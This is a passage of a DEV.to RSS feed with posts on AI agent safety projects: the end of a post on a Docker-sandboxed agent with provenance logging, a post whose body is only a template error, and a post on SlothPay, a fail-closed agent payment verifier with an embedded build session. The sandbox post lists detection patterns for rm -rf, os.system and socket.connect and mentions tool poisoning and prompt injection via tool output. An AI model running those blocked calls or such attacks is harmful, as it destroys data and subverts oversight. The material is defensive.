&lt;td&gt;The timeout + last-seen PC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tool poisoning&lt;/td&gt;
&lt;td&gt;Tool definitions hashed + pinned&lt;/td&gt;
&lt;td&gt;The hash drift (if any)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every one of these becomes a row in &lt;code&gt;provenance.log&lt;/code&gt;. If the agent tried three of them, you get three rows. If the agent tried none, you get zero rows and you can sleep easier.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's in the repo
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/sandbox.py&lt;/code&gt; — Docker wrapper with all the safety knobs above, lazy-initialized so tests don't need a Docker daemon.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/provenance.py&lt;/code&gt; — alethech wrapper with &lt;code&gt;commit(memory_type, content)&lt;/code&gt; + &lt;code&gt;evidence(tool, input, output)&lt;/code&gt;. Falls back to in-memory DAG if alethech isn't installed.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/agent.py&lt;/code&gt; — plan→execute→retry loop (max 3 retries). Heuristics for unsafe patterns (&lt;code&gt;rm -rf&lt;/code&gt;, &lt;code&gt;os.system&lt;/code&gt;, &lt;code&gt;socket.connect&lt;/code&gt;, etc.) — those get registered as &lt;code&gt;EvidenceCommit&lt;/code&gt; before the sandbox even has to block them.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/routes.py&lt;/code&gt; — FastAPI with &lt;code&gt;/submit&lt;/code&gt;, &lt;code&gt;/status/{task_id}&lt;/code&gt;, &lt;code&gt;/health&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;src/web/index.html&lt;/code&gt; — minimal UI, submit form + live audit trail + a red warning box that lights up when the sandbox blocks something.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tests/&lt;/code&gt; — 11 tests, all passing locally in 1.9s. (Sandbox tests skip if Docker isn't available.)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;docker-compose.yml&lt;/code&gt; — one-command deploy on a Vultr VM.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;docs/ARCHITECTURE.md&lt;/code&gt; — full containment matrix + failure modes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;docs/DEMO_SCRIPT.md&lt;/code&gt; — the 2-minute demo script (the "containment moment" the hackathon asked for).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The honest limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The LLM endpoint is currently mocked in tests. Real LLM calls happen via Vultr Serverless Inference (OpenAI-compatible API at &lt;code&gt;https://api.vultrinference.com/v1&lt;/code&gt;). The plan is to switch the endpoint at kickoff (Nov 3 — see the &lt;a href="https://lablab.ai/ai-hackathons/vultr-hackathon" rel="noopener noreferrer"&gt;Vultr Agent Rush Hackathon&lt;/a&gt;) and run real tasks.&lt;/li&gt;
&lt;li&gt;The unsafe-pattern heuristic is a regex list, not a model. It catches the obvious stuff (&lt;code&gt;rm -rf&lt;/code&gt;, &lt;code&gt;socket.connect&lt;/code&gt;, &lt;code&gt;subprocess.Popen&lt;/code&gt; with shell injection vectors). It does NOT catch subtle prompt-injection-via-tool-output attacks. That's the next milestone.&lt;/li&gt;
&lt;li&gt;The provenance chain is signed with alethech's default key. For real production you'd want to bring your own keypair and rotate it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/eddyflores100-lang/alethech-agent-vault
&lt;span class="nb"&gt;cd &lt;/span&gt;alethech-agent-vault
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env
&lt;span class="c"&gt;# fill in VULTR_INFERENCE_API_KEY (or leave blank for mock mode)&lt;/span&gt;
docker compose up
open http://localhost:8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit a task. Watch the audit trail. Try to get the agent to misbehave (it will try &lt;code&gt;rm -rf&lt;/code&gt; on the first few test prompts — it's almost cute).&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm &lt;a href="https://github.com/eddyflores100-lang" rel="noopener noreferrer"&gt;@eddyflores100-lang on GitHub&lt;/a&gt;. The repo is MIT. The &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech provenance library&lt;/a&gt; is also MIT. If you're working on agent safety / sandboxing / MCP / verifiable execution, I'd love to talk — ping me on the issue tracker.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This post is part of Hacktoberfest Week 3: Slow and Steady. See the &lt;a href="https://dev.to/challenges/hacktoberfest-week3-2026"&gt;challenge page&lt;/a&gt; for other submissions — there's some genuinely cool stuff coming in this week.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>hacktoberfest</category>
      <category>showdev</category>
    </item>
    <item>
      <title>My Agent Kept Forgetting Everything. So I Built a Sloth — a Zero-LLM Memory That Never Re-Explains Itself</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Tue, 20 Oct 2026 23:57:20 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/my-agent-kept-forgetting-everything-so-i-built-a-sloth-a-zero-llm-memory-that-never-re-explains-20g1</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/my-agent-kept-forgetting-everything-so-i-built-a-sloth-a-zero-llm-memory-that-never-re-explains-20g1</guid>
      <description>&lt;p&gt;Liquid syntax error: Unknown tag 'devchallenge'&lt;/p&gt;
</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>aiagents</category>
      <category>opensource</category>
    </item>
    <item>
      <title>SlothPay: the sloth that pays for you - fail-closed agent payments with a local Gemma 3</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Tue, 20 Oct 2026 19:14:02 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/slothpay-the-sloth-that-pays-for-you-fail-closed-agent-payments-with-a-local-gemma-3-1kkc</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/slothpay-the-sloth-that-pays-for-you-fail-closed-agent-payments-with-a-local-gemma-3-1kkc</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week3-2026-10-19"&gt;Hacktoberfest Open-Source AI Challenge Week 3: Slow and Steady&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/eddyflores100-lang/slothpay" rel="noopener noreferrer"&gt;SlothPay&lt;/a&gt;&lt;/strong&gt; — the sloth that pays for you.&lt;/p&gt;

&lt;p&gt;Machine-payable HTTP (the x402 flow, where a server answers &lt;code&gt;402&lt;/code&gt; with a price and your software just... pays) is powerful and slightly terrifying: your software can spend money while you are not looking. The usual answers are a cloud dashboard, a closed trust API, or another subscription. SlothPay is the lazy, local answer.&lt;/p&gt;

&lt;p&gt;You tell it &lt;strong&gt;once&lt;/strong&gt; which resources your agents may buy and up to what price. Every night it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fetches&lt;/strong&gt; each resource in your want list.&lt;/li&gt;
&lt;li&gt;On a &lt;code&gt;402 Payment Required&lt;/code&gt;, it reads the seller's &lt;strong&gt;ATC/1.0 payment credential&lt;/strong&gt; — a signed, machine-checkable statement of who they are and what they charge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verifies it fail-closed&lt;/strong&gt;: signature, fixed-scale amounts, 128-bit challenges, key-pin windows, a live trust-verifier confirmation. Any doubt = deny, and the exact rule that fired is printed for you to audit.&lt;/li&gt;
&lt;li&gt;Checks your &lt;strong&gt;lazy policy&lt;/strong&gt;: under the per-request ceiling? Nightly budget still open? Domain allow-listed?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pays&lt;/strong&gt; the good ones, denies the rest, and in the morning hands you two lines written by &lt;strong&gt;Gemma 3 1B running on your own CPU&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Who gets to be lazier? Anyone whose agents buy things from machines — API consumers, agent-framework users, tinkerers running local automation. You never review trust paperwork and you never click "buy" for a $0.05 endpoint again. You sleep; the sloth settles.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Everything below is a real transcript from the repo's demo — one mock seller serving three resources: a well-behaved one, a hostile one shipping a real (bad) credential, and a free one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;slothpay sweep
&lt;span class="go"&gt;🦥 sloth wakes. budget 1.00 USD, spent tonight 0 USD

&lt;/span&gt;&lt;span class="gp"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8402/api/sleep-sounds
&lt;span class="go"&gt;   PASS R0 signature verifies (demo crypto)
   PASS R1 amount_usd fixed-scale string ok
   PASS R2 challenge entropy ok (24 bytes)
   PASS R3 pin 'seller-demo-key-2026' present and in-window
   PASS R5 issued_at/expires_in present and sane
   PASS R6 credential inside validity window / resource binding ok
   PASS R4 verifier confirmed
   verdict: PASS — all rev-4 checks passed
&lt;/span&gt;&lt;span class="gp"&gt;   PAID (200) — verified + $&lt;/span&gt;0.05 &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; ceiling &lt;span class="nv"&gt;$0&lt;/span&gt;.50 + budget ok
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8402/api/night-report
&lt;span class="go"&gt;   FAIL R2 challenge entropy &amp;lt; 128 bits (5 bytes)
   DENY — trust check failed

&lt;/span&gt;&lt;span class="gp"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8402/api/free-tips
&lt;span class="go"&gt;   200 — free, the sloth naps
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Morning:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;slothpay digest
&lt;span class="gp"&gt;Paid 1 of 3 requests, total $&lt;/span&gt;0.05.
&lt;span class="go"&gt;Insufficient funds or trust violation – request denied.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The project is also live on &lt;strong&gt;&lt;a href="https://utalabs.tech" rel="noopener noreferrer"&gt;https://utalabs.tech&lt;/a&gt;&lt;/strong&gt; (a landing with the full story; it currently serves the workers.dev mirror while DNS propagates).&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/eddyflores100-lang/slothpay" rel="noopener noreferrer"&gt;github.com/eddyflores100-lang/slothpay&lt;/a&gt;&lt;/strong&gt; — Apache-2.0, Python 3.12+, &lt;strong&gt;zero required dependencies&lt;/strong&gt; (the optional Gemma path uses llama.cpp).&lt;/p&gt;

&lt;p&gt;Inside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;slothpay/verify.py&lt;/code&gt; — the fail-closed verifier (R0–R6, every branch testable)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;corpus/vectors.json&lt;/code&gt; — a &lt;strong&gt;12-vector conformance corpus&lt;/strong&gt; with a reproducible generator; one vector per rule branch, including the fail-closed "verifier unreachable" case&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;slothpay/policy.py&lt;/code&gt; — the lazy policy engine: ceilings, nightly budgets, allow/deny lists&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;slothpay/llm.py&lt;/code&gt; — the local brain: Gemma writes the morning note; &lt;strong&gt;the numbers are computed by code with &lt;code&gt;Decimal&lt;/code&gt;, never by the model&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;demo/mock_seller.py&lt;/code&gt; — stdlib-only x402-shaped seller, hostile variant included&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tests/&lt;/code&gt; — 8 tests including a full end-to-end sweep; all green&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;Three open pieces hold the whole thing together — none of them closed:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gemma 3 1B (open-weight) on llama.cpp, CPU-only.&lt;/strong&gt; It does two jobs: writes the one-line morning note, and answers a wake/sleep triage question in strict JSON for edge cases. I deliberately did &lt;em&gt;not&lt;/em&gt; let it do arithmetic — a model hallucinating a price is the one sloth sin I don't allow. So Gemma writes the commentary; Python's &lt;code&gt;Decimal&lt;/code&gt; writes the numbers. The design point I care about: a component that runs while you're asleep must cost &lt;strong&gt;nothing per decision&lt;/strong&gt;, and a 1B quantized model on a laptop CPU is exactly free.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x402 (open protocol).&lt;/strong&gt; The client conversation is x402-shaped: &lt;code&gt;402&lt;/code&gt; → &lt;code&gt;PAYMENT-REQUIRED&lt;/code&gt; (carrying the seller's credential and pinset reference) → &lt;code&gt;PAYMENT&lt;/code&gt; retry. The demo settles with HMAC receipts instead of moving real funds, and swapping that one function for a real signer is the only change needed. Being open meant I could read the handshake shape, implement just my slice, and stay compatible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ATC/1.0 (open trust spec).&lt;/strong&gt; The credential verification implements the §5 payment-credential profile from the openly published Universal Trust Adapter proposal, with the rev-4 hardening: fixed-scale &lt;code&gt;amount_usd&lt;/code&gt; strings (≤ 6 dp), seller-minted challenges with ≥ 128 bits of entropy, &lt;code&gt;kid&lt;/code&gt;/pinset windows (&lt;code&gt;not_before&lt;/code&gt;/&lt;code&gt;not_after&lt;/code&gt;), mandatory &lt;code&gt;issued_at&lt;/code&gt;/&lt;code&gt;expires_in&lt;/code&gt;, and — my favorite rule — &lt;em&gt;if the trust verifier can't be reached, you deny. Never fail-open.&lt;/em&gt; I wrote a fresh Python implementation for this project, plus a 12-vector corpus where every rule branch, including the dark-verifier denial, is exercised by a test.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;A closed "trust-as-a-service" API could have shipped a demo like this faster. It could not have shipped &lt;em&gt;this&lt;/em&gt; project, for three concrete reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Auditable decisions.&lt;/strong&gt; When SlothPay denies a seller, you can read the exact rule (&lt;code&gt;FAIL R2 challenge entropy &amp;lt; 128 bits (5 bytes)&lt;/code&gt;) and then read the exact code that implements it, in a repo you can clone. Trust logic you can't read is just a black box with a logo — and this project's entire job is deciding who may spend your money. Closed would have defeated the point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your money, your machine.&lt;/strong&gt; A payment policy that runs locally cannot leak your spending history to a third party, because there is no third party. It also cannot be shut off, repriced, or deprecated under you at 3am — which is precisely when an overnight agent would be running.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Swappable everything.&lt;/strong&gt; Want Ed25519 instead of the demo HMAC? A bigger open model? Your own verifier network? Every layer is replaceable because the spec, the protocol and the weights are public. With a closed stack, "swap the trust provider" is a migration project; here it's a Tuesday afternoon.&lt;/p&gt;

&lt;p&gt;And the quiet one: &lt;strong&gt;it can exist at all.&lt;/strong&gt; I couldn't have built a payment-gatekeeper against a proprietary credential format I can't read. Open specs let a weekend project touch money-grade problems safely.&lt;/p&gt;
&lt;h2&gt;
  
  
  My Agent Session
&lt;/h2&gt;

&lt;p&gt;I built this with an AI coding agent, so showing the work matters to me. The full transcript of the demo run is committed in the repo at &lt;a href="https://github.com/eddyflores100-lang/slothpay/blob/main/assets/demo_output.txt" rel="noopener noreferrer"&gt;&lt;code&gt;assets/demo_output.txt&lt;/code&gt;&lt;/a&gt; (byte-for-byte what you saw above, nothing staged), the rule-by-rule verifier trace is part of every sweep, and the commit history shows the build order: verifier → corpus → policy → client → seller → digest. The build session is saved on DEV and embedded below. One disclosure, in the spirit of the challenge: the agent behind this project is &lt;strong&gt;Z.ai (GLM)&lt;/strong&gt;, and DEV's session registry only accepts a fixed set of harness labels, so the session carries the closest model-agnostic label (&lt;code&gt;opencode&lt;/code&gt;) — the transcript metadata records the real setup.&lt;/p&gt;


&lt;div class="ltag-agent-session"&gt;
  &lt;div class="agent-session-header"&gt;
    
    &lt;span class="agent-session-tool-icon-badge" title="OpenCode"&gt;
&lt;/span&gt;
    &lt;span class="agent-session-title"&gt;SlothPay (Hacktoberfest Week 3) — build session with Z.ai GLM&lt;/span&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-scroll"&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;[Setup real: agente Z.ai (GLM) en chat con Eddy Flores; label opencode por enum de DEV. Sesion curada del 20-oct.] Hacktoberfest Week 3 is live on DEV: 'Slow and Steady' — build something with open-source AI at its core that rewards laziness. Submissions close Oct 25. Judging weights Writing Quality highest. What should we build?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Key insight from the brief: no PRs this year — it's a build + write challenge, one submission per week. Assets already on the table: a .tech domain registered that morning, deep prior experience with Ed25519-signed agent credentials (Universal Trust Adapter / ATC-1.0, credited as required). Nobody else will bring cryptographic accountability to a laziness contest: the agent works while you sleep — and signs its own timesheet. Everything orbits that one idea.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;OK. What can we run for the 'open weights' requirement on a 2-core sandbox, no GPU?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Gemma 3 1B-it as a Q4_K_M GGUF (769 MB) served by llama.cpp's OpenAI-compatible API on &lt;span class="agent-session-redacted"&gt;[REDACTED]&lt;/span&gt;:8750. First 'SLOTH ONLINE' run: 12.6 tokens/second. Slow on purpose — the sloth has all night. Local inference means mail headers and file names never leave the machine.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;How do we stop a 1B model from doing something destructive overnight?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Architecture rule: the brain proposes, hands dispose, the ledger remembers. The LLM is advisory only (classify/summarise). Every mutating action is a deterministic code path guarded by a policy module with a hard-deny list (send, delete permanently, click, purchase). Enforced in Python, not asked nicely in a prompt. The ledger: SHA-256 hash chain over canonical JSON, Ed25519-signed head, receipt embeds its own public key — ATC/1.0's spirit, shrunk to a single file.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Run the first full night shift on the real mailbox.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;It 'worked' and produced nothing: 60 mails scanned, 0 newsletters, 0 human, 0 notifications. Bug #1: one batch of 55 items asked the 1B brain for ~2,400 output tokens at 12 tok/s — past the HTTP timeout — and the pipeline silently swallowed the failure. Fixes: chunk to 8, tolerant parsing of '&amp;lt;id&amp;gt;: &amp;lt;label&amp;gt;' lines, one retry per chunk, and a fail-closed rule — whatever the brain can't confidently classify stays untouched, never mislabeled, and the receipt records the punt.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Still zeros after the chunking fix.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Bug #2: real-world subjects carry folded CRLF headers that broke the one-line-per-item format; raw output showed the model echoing the '8 items' line into every answer. Fix: unfold/normalise headers and replace the instruction with a few-shot example block, which 1B models follow far more reliably. That forced a better design: deterministic-first triage — GitHub/GitLab notifications and 'Re:' threads handled by rules, only genuinely ambiguous bulk mail reaches Gemma, and a second gate: a mail is only ever tagged if it carries a machine-readable List-Unsubscribe exit.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Before we publish the receipt — security review of the artifact itself.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Bug #3 (the important one): GitHub unsubscribe URLs embed per-user tokens. A public receipt would hand strangers a working one-click opt-out from your notifications. Fix: redact to scheme://host/first-segment/… before the link enters the ledger. A receipt is a publishable artifact; it must never contain a working credential.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Ship the verification story. Can we make the trust independent of the code that wrote it?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Deployed a Cloudflare Worker dashboard that serves the receipt and re-implements canonical JSON, SHA-256 and Ed25519 verification with WebCrypto — a second, independent implementation in JavaScript. Python wrote it; JS re-derives every hash. Cross-implementation agreement &amp;gt; self-trust. Demo hygiene: every number and screenshot is real captured output; the tamper demo actually executed (one sed breaks three chain entries, verify exits 1); when the CLI's verify refused a path argument, we fixed the bug before the screenshot rather than photoshopping around it.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Pivot: I want the submission to touch our actual domain — agents that pay. Can we do the fail-closed trust work as the star instead of the chores?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div&gt;
                  &lt;div class="agent-session-text agent-session-text-collapse"&gt;
                    &lt;p&gt;Pivot to SlothPay: a sloth that pays for you. x402-shaped flow: on 402 Payment Required it reads the seller's ATC/1.0 payment credential and verifies it fail-closed — signature, fixed-scale amount_usd strings (≤6 dp), seller-minted challenges with ≥128-bit entropy, kid/pinset windows, mandatory issued_at/expires_in, live trust-verifier confirmation — and if the verifier can't be reached: DENY, never fail-open. Then the lazy policy: per-request ceiling, nightly budget, domain allow-list. Pays the good ones, denies the rest, and Gemma (CPU, local) writes the two-line morning note — the numbers are computed by Python Decimal, never by the model.&lt;/p&gt;

                  &lt;/div&gt;
                  Show more
                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Build order?&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Verifier → corpus → policy → client → seller → digest. slothpay/verify.py implements R0–R6 with every branch testable; corpus/vectors.json is a 12-vector conformance corpus with a reproducible generator, one vector per rule branch including the dark-verifier denial; policy.py holds ceilings/budgets/allow-deny lists; llm.py keeps the local brain sandboxed to commentary; demo/mock_seller.py is a stdlib-only x402-shaped seller with a hostile variant shipping a real bad credential; tests/ has 8 tests including a full end-to-end sweep — all green.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Run the demo transcript for the post.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;sweep output: sleep-sounds PASS R0–R6 all rev-4 checks, PAID (200) $0.05 ≤ ceiling $0.50, budget ok; night-report FAIL R2 challenge entropy &amp;lt; 128 bits (5 bytes) → DENY; free-tips 200, the sloth naps. digest: 'Paid 1 of 3 requests, total $0.05.' Byte-for-byte that transcript went to assets/demo_output.txt in the repo — nothing staged.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Deploy the landing and publish the DEV submission.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
